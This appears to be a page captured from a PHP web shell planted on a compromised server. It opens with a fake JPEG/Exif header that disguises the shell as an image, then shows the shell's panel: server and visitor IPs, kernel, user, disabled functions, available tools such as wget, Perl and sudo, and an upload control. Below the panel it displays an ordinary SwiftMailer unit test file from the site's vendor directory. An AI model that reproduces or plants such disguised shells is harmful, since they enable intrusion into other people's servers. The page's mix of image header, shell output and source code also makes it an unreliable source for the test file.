ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.104.62 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/laravelvue/vendor/swiftmailer/swiftmailer/tests/unit/Swift/CharacterReader/ |
Upload File : |
<?php class Swift_CharacterReader_UsAsciiReaderTest extends \PHPUnit\Framework\TestCase { /* for ($c = '', $size = 1; false !== $bytes = $os->read($size); ) { $c .= $bytes; $size = $v->validateCharacter($c); if (-1 == $size) { throw new Exception( ... invalid char .. ); } elseif (0 == $size) { return $c; //next character in $os } } */ private $reader; protected function setUp() { $this->reader = new Swift_CharacterReader_UsAsciiReader(); } public function testAllValidAsciiCharactersReturnZero() { for ($ordinal = 0x00; $ordinal <= 0x7F; ++$ordinal) { $this->assertSame( 0, $this->reader->validateByteSequence([$ordinal], 1) ); } } public function testMultipleBytesAreInvalid() { for ($ordinal = 0x00; $ordinal <= 0x7F; $ordinal += 2) { $this->assertSame( -1, $this->reader->validateByteSequence([$ordinal, $ordinal + 1], 2) ); } } public function testBytesAboveAsciiRangeAreInvalid() { for ($ordinal = 0x80; $ordinal <= 0xFF; ++$ordinal) { $this->assertSame( -1, $this->reader->validateByteSequence([$ordinal], 1) ); } } }